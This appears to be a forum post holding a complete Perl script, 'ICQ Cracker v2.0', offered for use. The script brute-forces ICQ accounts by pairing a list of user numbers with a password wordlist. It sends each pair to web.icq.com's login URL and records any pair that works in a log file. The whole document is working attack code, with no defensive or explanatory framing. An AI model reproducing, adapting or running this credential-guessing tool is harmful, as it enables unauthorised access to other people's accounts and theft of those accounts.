Код:
Скопировать в буфер обмена
#!/usr/bin/perl
### ICQ Cracker v2.0 by Forb <
forb@kamensk.ru>
### Uses modules
use IO::Socket;
### Server directives ###
$negative='incorrect';
$positive='change_details';
$server='web.icq.com';
### LocalFiles directives ###
$debug=1;
$uins='uins';
$passwordlst='pass';
$success='logg.txt';
$debuglog='debug.log';
$iall=0;
$j=0; ### Counters
### Begin of script-code
print "Starting $0\n\n" if $debug;
### Main part of script
&checkstart; ### Checking configuration for start script
&openuins; ### Opening uins&pass list
sub checkstart {
&crash(1,$uins) unless (-f $uins);
&crash(1,$passwordlst) unless (-f $passwordlst);
}
sub openuins {
open(UINS,"$uins") || &crash(10);
while(<UINS>)
{
chomp($_);
push(@uinslst,$_)
}
close(UINS);
for ($iall=0;$iall<=scalar(@uinslst);$iall++) {
if ($iall>=scalar(@uinslst)) { &crash(2) }
$prepareuin=$uinslst[$iall];
print "Getting uin $prepareuin\n" if $debug;
openpass($prepareuin);
}
}
sub openpass {
my($uin)=@_;
open(PASS,"$passwordlst") || &crash(10);
while(<PASS>) { @ps=<PASS> }
close(PASS);
foreach $pass (@ps) {
$done=crack($pass,$uin);
if ($done eq 2) {
print "Found\n" if $debug;
return
}
if ($done eq 3) {
print "EOF PASSWD LIST\n" if $debug;
return
}
}
}
sub crack {
my($passwd,$uin)=@_;
unless ($passwd) {
return 3;
}
print "Trying $uin and $passwd... \n" if $debug;
$dir="/newlogin/1,,,00.html?&karma_fail_url=
http://web.icq.com/login/login_page...rma_user_login=$uin&karma_user_passwd=$passwd";
$resuilt=&sock($dir);
if ($resuilt == -1)
{
print "Can\'t connect to server... Reconnecting\n" if $debug;
redo
}
elsif (!($resuilt))
{
print "failed\n" if $debug;
return 0;
}
elsif ($resuilt)
{
print "success\n" if $debug;
logging($success,"$uin\:$passwd");
$i++;
return 2;
}
}
sub sock {
my($socket);
my($get)=@_;
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => 80,
Proto => tcp)
or return -1;
$get=~s/\r|\n//g;
print $socket "HEAD $get HTTP/1.0\n\n";
while (<$socket>)
{
$answer=$_;
chomp($answer);
if ($answer=~/$positive/)
{
close($socket);
return 1
}
if ($answer=~/$negative/)
{
close($socket);
return 0
}
}
}
sub logging {
my($logg,$string)=@_;
open(LOGG,">>$logg") || &crash(10);
print LOGG "$string\n";
close(LOGG);
}
sub crash {
my($desc,$file)=@_;
if ($desc == 1)
{
exit print "Can\'t access to $file\n" if $debug;
exit
}
elsif ($desc == 2)
{
exit print "EOF $uins\n" if $debug;
exit
}
elsif ($desc == 10)
{
exit print "Unknown error\n" if $debug;
exit
}
}